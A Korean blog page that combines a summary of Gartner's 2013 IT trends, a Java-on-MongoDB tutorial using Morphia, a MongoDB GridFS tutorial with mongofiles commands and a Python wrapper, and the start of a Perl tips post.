가트너 그룹이 이번에 선정한 기술들은 이미 성숙되어 다양한 사용자들에게 활용되고 있는 부분들로, 향후 5년 내에 관련 산업계에 파괴적 혁신을 가져오거나 얼리 어댑터에 의한 채택을 통하여 새로운 기회를 제공할 것으로 전망되는 부분들로 기업조직의 장기적인 측면의 계획과 다양한 프로그램에 커다란 영향을 미칠 것으로 기대된다.

가트너 그룹 관계자는 대다수의 기업조직에게 전략적으로 작용할 수 있는 10가지 주요 기술들을 선정하였는데, IT 리더들이 향후 2년에 걸쳐서 전략적인 계획 차원의 프로세스로 역할을 수행하게 만들게 될 것이라고 제시한다. 이번에 선정된 기술 모두에 대하여 기업들이 투자하거나 채택할 필요성이 존재하지 않지만, 미래에 이와 같은 기술을 어떠한 측면으로 받아들여야 되는지에 대한 심사숙고가 필요하게 될 것이라고 언급한다.

향후 주도적인 부분으로 작용할 기술들은 소셜, 모바일, 클라우드, 정보 분야를 중심으로 새로운 컨버전스 동력으로 작용하고 있는데, 이와 같은 요소요소의 기술들이 혁신적이면서 파괴적인 성격을 가지고 있기도 하지만, 비즈니스와 산업 전반에 영향을 미치면서 기존의 비즈니스 모델을 파괴하고 새로운 기회들을 만들어내는 부분에 더 주목할 필요성이 있다고 전문가들은 제시한다.

2013년에 주목받을 기술들 중 주요 부분들은 다음과 같다.

모바일 디바이스 전쟁
가트너는 2013년에 PC를 통한 웹 접속 보다 모바일 기기를 통한 웹접속이 더 많아지게 되고, 2015년에는 판매되는 전체 핸드셋 기기 중 스마트폰이 차지하는 비율이 80퍼센트에 육박할 것이라고 전망한다. 이와 같은 핸드셋 기기 중 윈도우즈 폰이 차지하는 비율은 약 20퍼센트가 될 것으로 전망되며, 2015년에 미디어 태블릿 기기가 차지하는 비율은 랩톱 컴퓨터의 50퍼센트에 육박하게 될 것이고 윈도우즈 8의 시장점유율은 구글사의 안드로이드와 애플사의 iOS 운영 시스템에 이어 3위에 머무를 것이라고 전망한다. 윈도우즈 8은 마이크로소프트사가 가장 역점을 두고 있는 분야 중 하나로 사용자들이 어떻게 반응하고 현실세계에서 수행되는 환경에 있어서도 보다 개선된 인터페이스를 제공할 것이라고 전망되는 기술이기도 하다. 이러한 방향 속에서 추진되고 있는 컨슈머라이제이션이 사용자들이 아이패드를 버리거나 사용자들이 타깃팅된 윈도우즈 8 디바이스를 채택하도록 만드는데 있어서 윈도우즈 8 채택을 하지 못하도록 하는 것을 의미하지는 않고, 윈도우즈로 대표되는 PC의 단일 플랫폼이 윈도우즈는 다양한 선택사항 중 하나로 머무를 수 있는 포스트 PC에 있어서 주요한 대체물이 된다는 부분이 주목되는 것이라고 가트너의 관계자는 제시한다.

모바일 애플리케이션과 HTML5
일반 사용자와 기업사용자들에게 필요한 애플리케이션을 제공하기 위한 산업 자체는 매우 복잡하고, 100곳이 넘는 도구(Tool) 관련 벤더들이 존재한다. 가트너 그룹은 이와 같은 모바일 개발 도구들이 향후 몇 년간에 걸쳐서 여러 가지 방향으로 진화할 것이라고 전망하고 있는데 모든 유형의 모바일 애플리케이션을 포괄할 수 있는 단일 유형의 도구들은 존재하기 힘들고 여섯 가지 모바일 아키텍처를 중심으로 진화하게 될 것으로 전망되고 있다. 이와 같은 아키텍처에는 네이티브, 스페셜, 하이브리드, HTML5, 메시지, 노 클라이언트와 같은 방식이 존재하는 것으로 전해진다. 기존 네이티브 애플리케이션들이 HTML5와 같은 웹 애플리케이션으로 대체되고 있지만 네이티브 애플리케이션이 제공하고 있는 사용자 경험과 전문화된 기능에 비추어볼 때 하루아침에 사라지지는 않을 것이라고 가트너 관계자들은 제시한다. 개발자들에게도 보다 조정된 방식의 전체 디바이스에 걸쳐서 사용될 수 있는 터치방식에 최적화된 새로운 설계방법들이 제공될 것이라고 전망되고 있다.

퍼스널 클라우드
퍼스널 클라우드가 점차적으로 PC를 대체하면서, 개인 사용자들이 자신들의 콘텐츠를 저장하게 되는 주요한 로케이션이 될 것으로 전망되고 있다. 사용자들은 자신들의 서비스들과 선호하는 부분들과 자신들의 디지털 라이브를 저장하는 공간으로 이를 활용하게 될 것으로 여겨지는데, 일상적인 생활의 여러 가지 부분들을 기록하고 이를 사용하도록 만들 수 있는 다양한 웹 도구들을 연결하는 수단으로 사용될 것으로 전망된다. 퍼스널 클라우드는 여러 가지 유형의 서비스들의 독특한 집합형태로 사용될 것으로 기대되는데, 웹 데스티네이션과의 연결성이 사용자들의 컴퓨팅과 커뮤니케이션 활동에 있어서 중요한 부분들로 자리매김하는 것과 맥락을 같이한다. 사용자들은 퍼스널 클라우드를 자신들의 디지털 욕구를 충족시켜줄 수 있는 언제 어디서나 사용 가능한 도구로 이를 인식하고 있고, 다양한 모바일 기기들을 관리하고 활용하는 부분에 있어서 어떤 기술이나 플랫폼도 이를 지배하지는 못할 것이라고 전망되고 있다. 퍼스널 클라우드는 현재 클라이언트 측면의 디바이스에서 다양한 디바이스에 전달될 수 있는 클라우드 기반의 서비스로 진화하는 과정에 있다고 가트너의 전문가들은 제시한다.

엔터프라이즈 애플리케이션 스토어
기업들은 다양한 스토어, 다양한 지불방식, 다양한 라이선싱 유형들을 관리하여야 하는 요구들에 부응하기 위하여 특정 애플리케이션 유형과 기기에 적합하게끔 자신들의 스토어를 새로운 방식으로 통합하고 구축하게 될 것으로 기대된다. 2014년경, 가트너 측은 프라이빗 애플리케이션 스토어의 형태로 구성원들에게 여러 가지 모바일 애플리케이션을 기업들이 제공하게 될 것이라고 언급하고 있는 가운데, 이를 효과적으로 지원하기 위하여 새로운 거버넌스와 브로커리지가 기존의 중앙화된 계획방식을 변화시키게 될 것이라고 제시하고 있다.

사물 인터넷
사물 인터넷은 인터넷으로 연결 가능한 소비자 전자제품들과 물리적 자산들과 같은 아이템들을 인터넷을 통하여 연결시키는 실제세계를 가상세계로 변모시키는 새로운 방법이라고 정의될 수 있다. 임베디드 센서, 이미지 인식 기술, NFC 지불등의 기능들을 다양한 유형의 모바일 기기를 사용하여 구현하는 것을 의미한다. 이를 통하여 모바일 기술 자체가 특정 셀룰러 기기나 태블릿 기기에 국한되지 않고 다양한 유형으로 활용 가능하게 됨을 의미하는 것이다. 셀룰러 기술이 의약품 용기나 자동차를 포함한 여러 가지 기기에 내장되게 되고, 스마트폰과 다양한 유형의 지능형 기기들이 셀룰러 네트워크만을 사용하지 않고 NFC, 블루투스, LE, 와이파이 등을 통하여 연결되며, 손목시계형 디스플레이 장치, 헬스케어 센서, 스마트 포스터, 홈 엔터테이먼트 시스템과 같은 주변장치와의 연결도 본격화될 것으로 여겨진다. IoT(사물형 인터넷)은 여러 영역에 걸쳐서 새로운 애플리케이션과 서비스들을 만들어 낼 것으로 제시하고 있다.

하이브리드 IT와 클라우드 컴퓨팅
기업들의 IT 부서는 IT 관련된 활동들을 조정하는데 있어서 중요한 역할을 담당한다. 클라우드 컴퓨팅은 이와 같은 부분에 있어서 새로운 역할을 수행하고 있다. 최근 발표된 가트너 그룹의 IT 서베이 조사 보고서는 클라우드 서비스가 기업 내 사용자와 외부 사용자들을 연결하는 효율적인 도구가 될 수 있음을 제시하고 있다. 일련의 서비스 브로커리지로서의 클라우드 서비스는 IT의 소비수단으로 점점 더 부각되고 있는 클라우드의 요구사항들을 처리하는 가운데 새로운 가치 센터로서 자리매김하게 될 것이라고 제시하고 있다.

전략적 빅데이터
빅데이터가 개인 프로젝트 영역에서 기업의 전략적 정보 아키텍처 영역으로 중심을 이동하고 있다. 대용량 데이터를 처리하고, 다양하면서도 복잡한 데이터 유형을 처리하기 위해서는 기존의 데이터 처리 방법으로는 한계가 존재하는 것이 사실이다. 기업 조직들로 하여금 단일 엔터프라이즈 데이터 웨어하우스의 개념을 채택하지 않는 대신에, 콘텐츠 관리, 데이터웨어하우스, 데이터마트를 포함한 다양한 시스템으로 이전하게 됨을 내포하고 제시하고 있는 것으로 일련의 "논리적" 엔터프라이즈 데이터웨어하우스가 될 수 있을 것으로 기대된다고 제시하고 있다.

액셔너블 분석기법
분석기법 자체가 액션과 콘텍스트라는 관점에서 사용자에게 새로운 가치를 제공하고 있다. 퍼포먼스와 비용 개선을 통하여, IT 리더들은 비즈니스에서 수행되는 모든 행위에 대한 분석과 시뮬레이션에 대한 새로운 기회들을 제공하게 된다. 클라우드 기반의 분석 엔진과 빅데이터 레포지토리에 연결된 모바일 클라이언트는 언제 어디서나 최적화 기능과 시뮬레이션 기능을 사용 가능하도록 지원한다. 새로운 단계들로 시뮬레이션, 예측, 최적화와 분석 기법들이 등장하게 되고 모든 비즈니스 프로세스 액션에 있어서 의사결정에 있어 유연성을 보장하게 된다.
메모리 내 컴퓨팅
메모리 내 컴퓨팅은 새로운 전환적인 기회들을 제공하게 된다. 수 시간에 달하는 배치 프로세스를 수 분이나 수 초 만에 수행 가능하도록 지원하게 되어 클라우드 형태로 제공되는 내외부 서비스에 대한 사용자들에게 실시간 혹은 실시간에 근접한 서비스 제공이 가능하게 될 것으로 기대된다. 기업 내에서 나타날 수 있는 기회와 위협요인에 대한 상관관계나 패턴 탐색에 있어서 수백 만 초의 시간 내로 스캔이 가능하게 되고, 동일 데이터 셋을 통하여 수행되는 거래적 혹은 분석적 기능으로 인한 새로운 가능성들은 비즈니스 혁신에 있어서 이전에는 가능하지 못했던 가능성을 제공하게 된다. 여러 벤더들이 향후 2년 내에 메모리 기반 솔루션을 제공하게 되고, 주류적인 사용자에게 새로운 기회들을 만들어 낼 수 있을 것으로 제시된다.

통합된 생태계 시스템
산업 자체가 보다 통합된 시스템과 생태계를 경험하게 되고 이전에 느슨하게 연결되어 있던 이질적인 부분들로부터 탈피하게 된다. 이와 같은 트렌드들은 저비용, 단순선, 보다 확실한 보안 부분과 같은 부분에 대한 사용자들의 바람과도 연결되어 있고, 벤더들에 대한 트렌드들은 보다 통제된 환경 속에서 더 완전한 솔루션을 제공하고 규모 면에서도 새로운 기회들을 만들어낼 것으로 기대된다. 실재적인 하드웨어 공급에 대한 필요성 없이 이와 같은 트렌드는 세 가지 단계로 수행되는데, 하드웨어와 소프트웨어의 통합과 패키지화가 첫 번째이고, 클라우드 기반의 마켓플레이스가 브로커리지 서비스가 구매, 소비 등을 다양한 벤더들로부터 새로운 기회들을 만들어내게 되고 ISV 개발과 애플리케이션 수행에 있어서도 여러 가지 가능성을 내포하며 제공한다. 모바일 세상에서, 애플, 구글, 마이크로스프트사를 포함한 여러 벤더들은 다양한 통제수준과 애플리케이션을 통한 클라이언트를 확장한 엔드투앤드 생태계 시스템을 제공하게 된다.

자료를 가져가실 때에는 출처 : KISTI 미리안 글로벌동향브리핑(GTB)』를 밝혀 주시기 바랍니다.

MongoDB에서 Java 응용 프로그램 개발하기 - 30분 가이드

[출처] http://java.dzone.com/articles/mongodb-30-minutes-draft

Java App on MongoDB in 30 Minutes

05.22.2012
| 6423 views |
<style type="text/css"> .microzone_article_ad{ font-size: 15px; font-weight:normal; font-style:italic; color: #222; text-decoration:none; font-family:'Helvetica', 'Arial', 'Verdana'; } </style>
This article is part of the DZone NoSQL Resource Portal, which is brought to you in collaboration with Neo Technology. Visit the NoSQL Resource Portal for additional tutorials, videos, opinions, and other resources on this topic.

I have recently been bitten by the NoSQL bug - or as colleague of mine Mark Atwell coined "Burn the Where!" movement. While I have no intention of shunning friendly "SELECT ... WHERE" anytime soon - or in foreseeable future, I did manage to get my hands dirty with some code. In this article, I share the knowledge of my first attempts in the NoSQL world.

In this article we will aim to get a basic java application up and running that is capable of interacting with MongoDB. By itself, that is not really a tall task and perhaps you could get that in under 10 minutes. Click here or click here or click here, for some excellent material. However, I wanted to push it a bit further.

I want to add ORM support. I have chosen Morphia for this article. I also want to add DAO pattern, unit testing, and logging. In short, I want to it feel, "almost like" the kind of code that most of us would have written for enterprise applications using, let's say Java, Hibernate and Oracle. And, we will try to do all this in under 30 minutes.

My intention is to give a reassurance to Java + RDBMS developers that Java + NoSQL is not very alien. It is similar code and easy to try out. It is perhaps pertinent to add at this point that I have no affinity to NoSQL and no issues with RDBMS. I beieve they both have their own uses (click here for some excellent material). As a technologist, I just like knowing my tools better so that I can do justice to my profession. This article is solely aimed at helping like minded people to dip their toes in NoSQL.

Ok, enought talk. Let's get started. You will need a few softwares / tools before you follow this article. Download and install MongoDB server, if you have not already done so. I am assuming you have Java, some Java IDE and a build and release tool. I am using jdk 7, Eclipse (STS) and Maven 3 for this article.

I start by creating a vanilla standard java application using Maven. I like using a batch file for this.

File: codeRepo\MavenCommands.bat

01.ECHO OFF
02.
03.REM =============================
04.REM Set the env. variables.
05.REM =============================
06.SET PATH=%PATH%;C:\ProgramFiles\apache-maven-3.0.3\bin;
07.SET JAVA_HOME=C:\ProgramFiles\Java\jdk1.7.0
08.
09.REM =============================
10.REM Create a simple java application.
11.REM =============================
12.call mvn archetype:create ^
13. -DarchetypeGroupId=org.apache.maven.archetypes ^
14. -DgroupId=org.academy ^
15. -DartifactId=dbLayer002
16.
17.pause

Import it in Eclipse. Use Maven to compile and run just to be sure.

1.mvn -e clean install.

This should compile the code and run the default tests as well. Once you have crossed this hurdle, now let's get down to some coding. Let's create an Entity object to start with. I think a Person class with fname would serve our purpose. I acknowledge that it is trivial but it does the job for a tutorial.

File: /dbLayer002/src/main/java/org/academy/entity/Person.java

1.package org.academy.entity;
2.
3.public class Person {
4. private String fname;
5.
6. [...]
7.}

I have not mentioned the getters and setters for brevity.

Now let us get the MongoDB java driver and attach it to the application. I like have Maven do this bit for me. You could obviously do this bit manually as well. Your choice. I am just lazy.

File: /dbLayer002/pom.xml

1.[...]
2.<!-- MongDB java driver to hook up to MongoDB server -->
3.<dependency>
4. <groupId>org.mongodb</groupId>
5. <artifactId>mongo-java-driver</artifactId>
6. <version>2.7.3</version>
7.</dependency>
8.[...]

This will allow us to write a util class for connecting to MongoDB server instance. I am assuming you have a server up and running in your machine with default settings.

File: /dbLayer002/src/main/java/org/academy/util/MongoUtil.java

01.public class MongoUtil {
02.
03. private final static Logger logger = LoggerFactory
04. .getLogger(MongoUtil.class);
05.
06. private static final int port = 27017;
07. private static final String host = "localhost";
08. private static Mongo mongo = null;
09.
10. public static Mongo getMongo() {
11. if (mongo == null) {
12. try {
13. mongo = new Mongo(host, port);
14. logger.debug("New Mongo created with [" + host + "] and ["
15. + port + "]");
16. } catch (UnknownHostException | MongoException e) {
17. logger.error(e.getMessage());
18. }
19. }
20. return mongo;
21. }
22.}

We will need logger setup in our application for this class to compile. Click here for my article around logging. All we need to do is to hook up Maven with the correct dependencies.

File: /dbLayer002/pom.xml

01.[...]
02.<slf4j.version>1.6.1</slf4j.version>
03.[...]
04.<!-- Logging -->
05.<dependency>
06. <groupId>org.slf4j</groupId>
07. <artifactId>slf4j-api</artifactId>
08. <version>${slf4j.version}</version>
09.</dependency>
10.<dependency>
11. <groupId>org.slf4j</groupId>
12. <artifactId>jcl-over-slf4j</artifactId>
13. <version>${slf4j.version}</version>
14. <scope>runtime</scope>
15.</dependency>
16.<dependency>
17. <groupId>org.slf4j</groupId>
18. <artifactId>slf4j-log4j12</artifactId>
19. <version>${slf4j.version}</version>
20. <scope>runtime</scope>
21.</dependency>

And also, we will need to specify, exactly what to log.

File: /dbLayer002/src/java/resources/log4j.properties

1.# Set root logger level to DEBUG and its only appender to A1.
2.log4j.rootLogger=DEBUG, A1
3.
4.# configure A1 to spit out data in console
5.log4j.appender.A1=org.apache.log4j.ConsoleAppender
6.log4j.appender.A1.layout=org.apache.log4j.PatternLayout
7.log4j.appender.A1.layout.ConversionPattern=%d [%t] %-5p %c - %m%n

At this point, you already have an Entity class and a utility class to hook up to the database. Ideally I would go about writing a DAO and then somehow use the ORM to join up the DAO with the database. However, Morphia has some excellent DAO support. Also it has some annotations to tie up the Entity with database elements. So, although I would have liked the Entity and DAO to be totally agnostic of the ORM and database, it is not the case here. I know on the face of it, it sounds like Morphia or MongoDB is forcing me to deviate from good code structure, let me hasten to add, that it is not any worse than other ORMs e.g. Hibernate with Annotations would have also forced me to make the same kind of compromise.

So, let's bring in Morphia in the picture. Enters the stage our ever helpful tool, Maven. A bit of an avoidable hitch here. When I was writing this document I could not get the version of Morphia that I wanted in the central Maven repository. So, I had to configure Maven to use the Morphia repository as well. Hopefully this is just a temporary situation.

File: /dbLayer002/pom.xml

01.[...]
02.<!-- Required for Morphia -->
03.<repositories>
04. <repository>
05. <id>Morphia repository</id>
07. </repository>
08.</repositories>
09.[...]
1.<!-- Morphia - ORM for MongoDB -->
2.<dependency>
3. <groupId>com.google.code.morphia</groupId>
4. <artifactId>morphia</artifactId>
5. <version>0.98</version>
6.</dependency>

As I mentioned above, Morphia allows us to annotate the Entity class (much like Hibernate annotations). So, here is how the updated Entity class looks like.

File: /dbLayer002/src/main/java/org/academy/entity/Person.java

1.[...]
2.@Entity
3.public class Person {
4. @Id private ObjectId id;
5. [...]
6.

And now we can also add a DAO layer and lean on the BasicDAO that Morphia provides.

File: /dbLayer002/src/main/java/org/academy/dao/PersonDAO.java

1.public class PersonDAO extends BasicDAO<Person, ObjectId> {
2.
3. public PersonDAO(Mongo mongo, Morphia morphia, String dbName) {
4. super(mongo, morphia, dbName);
5. }
6. [...]

The beauty of the BasicDAO is that just by extending that, my own DAO class already has enough functionality to do the basic CRUD operations, although I have just added a constructor. Don't believe it? Ok, lets write a test for that.

File: /dbLayer002/src/test/java/org/academy/dao/PersonDAOTest.java

01.public class PersonDAOTest {
02. private final static Logger logger = LoggerFactory
03. .getLogger(PersonDAOTest.class);
04.
05. private Mongo mongo;
06. private Morphia morphia;
07. private PersonDAO personDao;
08. private final String dbname = "peopledb";
09.
10. @Before
11. public void initiate() {
12. mongo = MongoUtil.getMongo();
13. morphia = new Morphia();
14. morphia.map(Person.class);
15. personDao = new PersonDAO(mongo, morphia, dbname);
16. }
17.
18. @Test
19. public void test() {
20. long counter = personDao.count();
21. logger.debug("The count is [" + counter + "]");
22.
23. Person p = new Person();
24. p.setFname("Partha");
25. personDao.save(p);
26.
27. long newCounter = personDao.count();
28. logger.debug("The new count is [" + newCounter + "]");
29.
30. assertTrue((counter + 1) == newCounter);
31. [...]

As you might have already noticed. I have used JUnit 4. If you have been following this article as is till now you would have an earlier version of JUnit in your project. To ensure that you use JUnit 4, you just have to configure Maven to use that by adding the correct dependency in pom.xml.

File: /dbLayer002/pom.xml

1.<!-- Unit test. -->
2.<dependency>
3. <groupId>junit</groupId>
4. <artifactId>junit</artifactId>
5. <version>4.10</version>
6. <scope>test</scope>
7.</dependency>

You are good to go. If you run the tests they should pass. Of course you could / should get into your database and check that the data is indeed saved. I will refer you to the MongoDB documentation which I think are quite decent.

Last but not least, let me assure you that BasicDAO is not restrictive in any way. I am sure puritans would point out that if my DAO class needs to extend the BasicDAO that is a limitation on the source code structure anyway. Ideally should not have been required. And I agree with that. However, I also want show that for all practical purposes of DAO, you have sufficient flexibility. Let's go on and add a custom find method to our DAO, that is specific to this Entity i.e. Person. Let's say we want to be able to search on the basis of firstname and that we want to use regular expression for that. Here is how the code will look like.

File: /dbLayer002/src/main/java/org/academy/dao/PersonDAO.java

01.public class PersonDAO extends BasicDAO<Person, ObjectId> {
02.
03. [...]
04. public Iterator<Person> findByFname(String fname){
05. Pattern regExp = Pattern.compile(fname + ".*", Pattern.CASE_INSENSITIVE);
06. return ds.find(entityClazz).filter("fname", regExp).iterator();
07. }
08. [...]
09.}

Important to reemphasize here that, I have just added a custom search function to my DAO, by adding precisely three lines of code (four if you add the last parentheses). In my books, that is quite flexible. Being true to my unflinching love for automated testing, lets add a quick test to check this functionality before we wrap up.

File: /dbLayer002/src/test/java/org/academy/dao/PersonDAOTest.java

1.[...]
2.Iterator<Person> iteratorPerson = personDao.findByFname("Pa");
3.int personCounter = 0 ;
4.while(iteratorPerson.hasNext()){
5. personCounter ++;
6. logger.debug("["+personCounter+"]" + iteratorPerson.next().getFname());
7.}
8.[...]

Before you point out, yes, there are no assert() here, so this is not a real test. Let me assure you that my test class is indeed complete. It's just that this snippet here does not have the assert function.

So, that's it. You have used Java to connect to a NoSQL database, using an ORM, through a DAO layer (where you have used the ORM's functionalities and done some addition as well). You have also done proper logging and unit testing. Not bad use of half an hour, eh? Happy coding.

Note: The original article is available at author's blog. Click here.

Published at DZone with permission of Partha Bhattacharjee, author and DZone MVB.

(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.)

<style type="text/css"> .microzone_article_ad{ font-size: 15px; font-weight:normal; font-style:italic; color: #222; text-decoration:none; font-family:'Helvetica', 'Arial', 'Verdana'; } </style>
Neo Technology is leading the charge for the NoSQL movement. You can learn more about the Neo4j Graph Database in the project discussion forums and you can try out the new Spring Data Neo4j, which enables POJO-based development.

'Computer Science' 카테고리의 다른 글

JavaScript 및 CCS 코드 은닉 (php의 경우)  (0) 2012.11.12
2013년 IT 트렌드  (0) 2012.10.29
MongoDB GridFS 튜토리얼  (0) 2012.10.28
[perl script] perl 사용 팁  (0) 2012.10.10
[파이썬] scrapy 로 웹 사이트 크롤링  (0) 2012.10.09

MongoDB GridFS 튜토리얼

[출처] http://nodeqa.com/extend_ref/2

Introduction

MongoDB 안에 Large Objects 를 저장할 수 있는 파일시스템 입니다. 간단하게 파일을 저장하여 사용할 수 있고, MongoDB가 설치되어 있으면 자매품격으로 따라오는 녀석입니다. 저장방식은 1개의 파일당 MAX 2GB 사이즈까지 저장가능하며, 256k chunk 단위로 나누어져 저장합니다. 이는 chunks collections 에 나누어진 document 으로 저장됩니다. 이와 meta, filename, content type, 다른 옵션들은 files collection 에 저장됩니다. 즉 files collection 과 chunks collections 은 1:n 관계를 가진다.

Spec

GridFS 는 데이타를 저장하기 위해 2개의 collection 구성됩니다.

  • files : metadata 포함
  • chunks : binary chunks (BSON)

GridFS는 하나의 데이타베이스 안에서 네임스페이스를 가질 수 있습니다. 아무것도 지정하지 않은면 기본은 fs 이며, fs.files, fs.chunks Collection이 기본으로 생성됩니다.

2개의 collection 구성

files

files의 document 구조를 알아보겠습니다.

{
  "_id"        : <unspecified>,    // unique ID for this file
  "length"     : data_number,      // size of the file in bytes
  "chunkSize"  : data_number,      // size of each of the chunks.  Default is 256k
  "uploadDate" : data_date,        // date when object first stored
  "md5"        : data_string       // result of running the "filemd5" command on this file's chunks
}

위 내용은 기본적으로 생성되는 필드이며, 아래와 같이 임의로 지정한 여러필드를 추가할 수 있습니다.

{
  "filename" : data_string,               // human name for the file
  "contentType" : data_string,            // valid mime type for the object
  "aliases" : data_array of data_string,  // optional array of alias strings
  "metadata" : data_object,               // anything the user wants to store
}

파일 1개가 저장되면, files collection 에는 1개의 row가 입력됩니다.

chunks

files collection 과 1:n 으로 관계지어지는 collection 입니다.

{
  "_id"      : <unspecified>,         // object id of the chunk in the _chunks collection
  "files_id" : <unspecified>,         // 일명 files.id FK 라고 생각하면 됩니다.
  "n"        : chunk_number,          // 256k 단위 chunk의 순번입니다. (예) 1,2,3
  "data"     : data_binary,           // BSON binary 형태의 데이타입니다. 
}

files.id와 chunks.filesid 는 FK 형식으로 이어지는 구조입니다.

사용용도

제가 사용한 경우는 PostgreSQL 의 각종 로그정보를 Report (html)으로 자세하게 받아볼 수 있는 pgfouine을 사용하는 과정에서 이 데이타를 API 형식으로 확인하는 프로젝트에서 이용되었습니다.

API형식은 http://host/{hostname}/{date} 으로 되어 있어서, 수천대의 서버의 자세한 로그정보를 손쉽게 꺼내어 확인할 수 있었습니다.

Utility mongofiles

MongoDB 설치경로의 bin 디렉토리에 mongofiles 라는 명령어가 있습니다. 이것은 GridFS 에 간단하게 저장 및 삭제, 검색, 목록 등 많은 명령을 할 수 있는 도구입니다.

help

$ mongofiles -h
ERROR: required parameter is missing in 'host'

usage: mongofiles [options] command [gridfs filename]
command:
  one of (list|search|put|get)
  list - list all files.  'gridfs filename' is an optional prefix 
         which listed filenames must begin with.
  search - search all files. 'gridfs filename' is a substring 
           which listed filenames must contain.
  put - add a file with filename 'gridfs filename'
  get - get a file with filename 'gridfs filename'
  delete - delete all files with filename 'gridfs filename'
options:
  --help                  produce help message
  -v [ --verbose ]        be more verbose (include multiple times for more 
                          verbosity e.g. -vvvvv)
  --version               print the program's version and exit
  -h [ --host ] arg       mongo host to connect to ( <set name>/s1,s2 for sets)
  --port arg              server port. Can also use --host hostname:port
  --ipv6                  enable IPv6 support (disabled by default)
  -u [ --username ] arg   username
  -p [ --password ] arg   password
  --dbpath arg            directly access mongod database files in the given 
                          path, instead of connecting to a mongod  server - 
                          needs to lock the data directory, so cannot be used 
                          if a mongod is currently accessing the same path
  --directoryperdb        if dbpath specified, each db is in a separate 
                          directory
  --journal               enable journaling
  -d [ --db ] arg         database to use
  -c [ --collection ] arg collection to use (some commands)
  -l [ --local ] arg      local filename for put|get (default is to use the 
                          same name as 'gridfs filename')
  -t [ --type ] arg       MIME type for put (default is to omit)
  -r [ --replace ]        Remove other files with same name after PUT

TEST

// 파일을 생성합니다.
$ echo "Hello World" > testfile.txt

// testfile.txt를 GridFS에 입력합니다.
[root@nodejs:~]# mongofiles put testfile.txt 
connected to: 127.0.0.1
added file: { _id: ObjectId('501a6bba8714e1003494b283'), filename: "testfile.txt", chunkSize: 262144, uploadDate: new Date(1343908794415), md5: "e59ff97941044f85df5297e1c302d260", length: 12 }
done!

// GridFS에 저장되어 있는 파일 목록을 확인합니다.
$ mongofiles list
connected to: 127.0.0.1
testfile.txt    12

// 로컬에 저장되어 있는 testfile.txt 를 삭제합니다.
$ rm testfile.txt 
rm: remove 일반 파일 `testfile.txt'? y           

// 다시 해당 파일을 GridFS 으로부터 다운로드 하여 복구합니다.
[root@nodejs:~]# mongofiles get testfile.txt
connected to: 127.0.0.1
done write to: testfile.txt

// 다운로드된 파일을 확인합니다.
[root@nodejs:~]# cat testfile.txt 
Hello World

Collection 확인

위의 TEST 과정을 거치면 자동으로 fs.files, fs.chunks collection이 생성됩니다.

$ mongo
MongoDB shell version: 2.0.2
connecting to: test
> use test
switched to db test
> show collections
fs.chunks                  // 확인!
fs.files                   // 확인!
system.indexes

그럼 collections 의 데이타를 확인해보겠습니다.

# 이건가? 

> fs.files.find()
Thu Aug  2 21:11:46 ReferenceError: fs is not defined (shell):1

# 역시 에러네요. 오랜만에 mongodb를 ㅋㅋ 다시한번 

# testfile.txt의 정보를 확인할 수 있습니다.
> db.fs.files.find()
{ "_id" : ObjectId("501a6bba8714e1003494b283"), "filename" : "testfile.txt", "chunkSize" : 262144, "uploadDate" : ISODate("2012-08-02T11:59:54.415Z"), "md5" : "e59ff97941044f85df5297e1c302d260", "length" : 12 }

# n이 0부터 시작되고, data는 바이너리형태인것을 확인합니다.
# 그리고, files_id 는 ObjectId 형식으로 동일한 내용인것을 알 수 있습니다.
> db.fs.chunks.find()
{ "_id" : ObjectId("501a6bba7e0a7ee0226fb956"), "files_id" : ObjectId("501a6bba8714e1003494b283"), "n" : 0, "data" : BinData(0,"SGVsbG8gV29ybGQK") }

추가로 Python 에서 사용했던 소스

pymongo installation

python에서는 pymongo 를 추천합니다.

$ easy_install pymongo
Searching for pymongo
Reading http://cheeseshop.python.org/pypi/pymongo/
Reading http://github.com/mongodb/mongo-python-driver
Reading http://cheeseshop.python.org/pypi/pymongo/2.2.1
Best match: pymongo 2.2.1
Downloading http://pypi.python.org/packages/source/p/pymongo/pymongo-2.2.1.tar.gz#md5=b9e9f844208971f42862d5a205cab1c7
Processing pymongo-2.2.1.tar.gz
Running pymongo-2.2.1/setup.py -q bdist_egg --dist-dir /tmp/easy_install-vTfsvW/pymongo-2.2.1/egg-dist-tmp-uib8Bs
zip_safe flag not set; analyzing archive contents...
Adding pymongo 2.2.1 to easy-install.pth file

Installed /usr/lib/python2.4/site-packages/pymongo-2.2.1-py2.4-linux-x86_64.egg
Processing dependencies for pymongo

대략 이런 클래스

pgfouine 작업할 때 작성한 클래스입니다. 참고하세요.

!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
 * MongoGridFS Wrapper
 *
 * @author nanhapark
'''

# pymongo
from pymongo.connection import Connection
from pymongo.objectid import ObjectId
from gridfs import GridFS

# util
import types

class MongoGridFS:
  def __init__(self): pass
  def connect(self, host, port):
    if isinstance(port, types.StringType) == True:
      port = int(port)

    self.instanceConnection = Connection(host, port)

  def setDB(self, dbname):
    self.db = self.instanceConnection[dbname]

  def setGridFS(self, prefix = 'fs'):
    self.fs = GridFS(self.db, prefix)

  def put(self, data, **kwargs):
    self.fs.put(data, **kwargs)

  def get(self, filename):
    out = self.fs.get_last_version(filename)
    return out.read()


def main():
  # 객체생성
  o = MongoGridFS()

  # 접속
  o.connect('localhost', 27017)

  # db connect
  o.setDB('test')

  # GridFS 객체 생성
  o.setGridFS()

  # hello.txt 파일등록
  o.put('hello.txt', filename="hello.txt")

  # 가져오기
  ret = o.get('hello.txt')
  print ret

if __name__ == '__main__':
  main()

결론

pgfouine 프로젝트시에 어떻게 하면 html을 쉽게 저장 / 분산할 수 있을까 생각하다가, Mongodb GridFS를 알게 되었는데, 거창한 FileSystem 보다는 훨씬 심플하고 장난감(?) 같은 느낌이랄까요? 그럼 이만 감사합니다. KIN플하세요. ~~~

© Copyright Since 2012 nanhapark All Rights reserved.Licensed by nanhapark 크리에이티브 커먼즈 라이선스

[perl script] perl 사용 팁

컴퓨터로 작업을 할 때 필자는 스크립트를 작성하는 작업을 반복하고 있다는 생각을 종종 한다.
리눅스 내에는 많은 스크립트용 프로그래밍 시스템이 있다.아래 글에서 그 시스템 중 하나인 Perl에 관해 살펴 보려 한다.
펄은 완전한 프로그래밍 언어이지만, 많은 특징들과 넓은 범위의 add-on 라이브러리가 있기에 스크립트처럼 짧고 빨리 쓰여진 프로그램을 만들기에 알맞다.

여기에 perl로 나타낸 10가지의 보기가 있다.
